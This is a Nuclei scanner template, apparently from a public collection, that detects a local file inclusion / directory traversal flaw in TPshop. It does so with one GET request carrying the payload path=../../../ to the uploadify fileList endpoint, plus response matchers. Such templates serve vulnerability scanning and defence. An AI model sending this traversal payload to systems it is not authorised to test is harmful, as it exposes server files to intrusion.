id: tpshop-directory-traversal

info:
  name: TPshop - Local File Inclusion
  author: pikpikcu
  severity: high
  description: TPshop is vulnerable to local file inclusion.
  reference:
    - https://mp.weixin.qq.com/s/3MkN4ZuUYpP2GgPbTzrxbA
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: tpshop,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/Home/uploadify/fileList?type=.+&path=../../../"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"state":"SUCCESS"'

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100ff4461939f03c4d25dff3a16a670b9f035a20a3cabb03723d3c2bf6f94f92d3902200dc9fb25709c5b6e0578800e533197acc1e5345fcaba20521911cc34119b77f3:922c64590222798bb761d5b6d8e72950
